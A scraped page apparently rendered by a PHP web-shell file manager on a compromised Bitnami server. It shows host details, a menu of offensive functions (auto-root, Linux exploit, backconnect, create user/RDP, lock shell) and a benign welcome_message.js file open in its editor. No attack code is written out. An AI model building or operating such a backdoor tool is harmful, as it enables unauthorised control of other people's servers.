Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
nami /
lib /
recipes /
[ HOME SHELL ]
Name
Size
Permission
Action
apps
[ DIR ]
drwxr-xr-x
add_to_system_path.js
881
B
-rw-r--r--
aws_cfn_signal.js
2.22
KB
-rw-r--r--
bitnami_agent.js
4.65
KB
-rw-r--r--
bitnami_enable_login.js
1002
B
-rw-r--r--
clean_machine.js
804
B
-rw-r--r--
configure_host.js
4.08
KB
-rw-r--r--
data_disk.js
4.02
KB
-rw-r--r--
download_database_ssl_certific...
1.42
KB
-rw-r--r--
environment_script.js
2.69
KB
-rw-r--r--
gonit.js
2.91
KB
-rw-r--r--
platform.js
765
B
-rw-r--r--
port_mapping.js
708
B
-rw-r--r--
remove_passwords.js
641
B
-rw-r--r--
resize.js
733
B
-rw-r--r--
setup_scripts.js
1.39
KB
-rw-r--r--
ssh_settings.js
3.11
KB
-rw-r--r--
swapfile.js
1.76
KB
-rw-r--r--
system_packages.js
1.71
KB
-rw-r--r--
system_services.js
2.02
KB
-rw-r--r--
system_user.js
773
B
-rw-r--r--
wait_for_dns.js
933
B
-rw-r--r--
welcome_message.js
3.98
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : welcome_message.js
/* * Copyright VMware, Inc. * SPDX-License-Identifier: GPL-2.0-only */ /// <reference path="../../typings-recipe.d.ts" /> /* * Recipe for adding information to welcome message */ "use strict"; const VERSION = 1; const MOTD_FILE = "/etc/motd"; recipes.register({ id: "welcome-message-create", on: { afterInitialize: {}, afterFailedInitialize: {} }, conditions: { ifChanged: (input) => { return VERSION; }, // don't run if the machine was provisioned externally shouldInvoke: (input) => !(input.provisioner.provisioned) }, recipeHandler: async function (input) { let storage = provisioner.storageManager.getItem("recipe-welcome-message"); let motd = ""; if (fs.existsSync(MOTD_FILE)) { motd = fs.readFileSync(MOTD_FILE).toString(); } motd += " ___ _ _ _\n"; motd += " | _ |_) |_ _ _ __ _ _ __ (_)\n"; motd += " | _ \\ | _| ' \\/ _` | ' \\| |\n"; motd += " |___/_|\\__|_|_|\\__,_|_|_|_|_|\n"; motd += "\n"; motd += "************************************************************"; motd += "\n"; if (input.eventName === "afterInitialize") { // TODO: we need more metadata to show more meaningful message. motd += " This is a Bitnami server.\n"; motd += "\n"; if (provisioner.tierDefinition.tags.indexOf("fixed-public-url") > 0) { motd += " The application is available at:\n"; motd += "\n"; motd += ` ##PUBLIC_URL##\n`; } else if (provisioner.stackDefinition.tags.indexOf("requires-application-gateway") > 0) { // TODO It should get the public IP from the Application Gateway if there is one } else if (provisioner.tierDefinition.publicPorts.indexOf(443) >= 0) { motd += " The application is available at:\n"; motd += "\n"; motd += ` https://##PUBLIC_IP##/\n`; } else if (provisioner.tierDefinition.publicPorts.indexOf(80) >= 0) { motd += " The application is available at:\n"; motd += "\n"; motd += " http://##PUBLIC_IP##/\n"; } } else if (input.eventName === "afterFailedInitialize") { motd += " The application initialization has failed with an error.\n"; motd += " More information can be found in the following log file:\n"; motd += "\n"; motd += " /opt/bitnami/var/log/first-boot.log\n"; } motd += "\n"; motd += "************************************************************\n"; storage.data.motd = motd; storage.save(); if (provisioner.tierDefinition.tags.indexOf("fixed-public-url") > 0) { motd = motd.replace(/##PUBLIC_URL##/, await cloud.getUserData("PROVISIONER_PUBLIC_URL")); } else { motd = motd.replace(/##PUBLIC_IP##/, await provisioner.cloud.getMetaData("public-ipv4")); } fs.writeFileSync(MOTD_FILE, motd); } }); /* * Recipe for writing message file before services are started */ recipes.register({ id: "welcome-message", on: { beforeStart: {} }, conditions: { tierTags: { not: ["fixed-public-url"] }, ifChanged: (input) => { return provisioner.cloud.getMetaData("public-ipv4"); }, // don't run if the machine was provisioned externally shouldInvoke: (input) => !(input.provisioner.provisioned) }, recipeHandler: async function (input) { let storage = provisioner.storageManager.getItem("recipe-welcome-message"); // TODO: private / public IP address ? const publicIp = await provisioner.cloud.getMetaData("public-ipv4"); let motd = storage.data.motd; motd = motd.replace(/##PUBLIC_IP##/, publicIp); fs.writeFileSync(MOTD_FILE, motd); } });
Close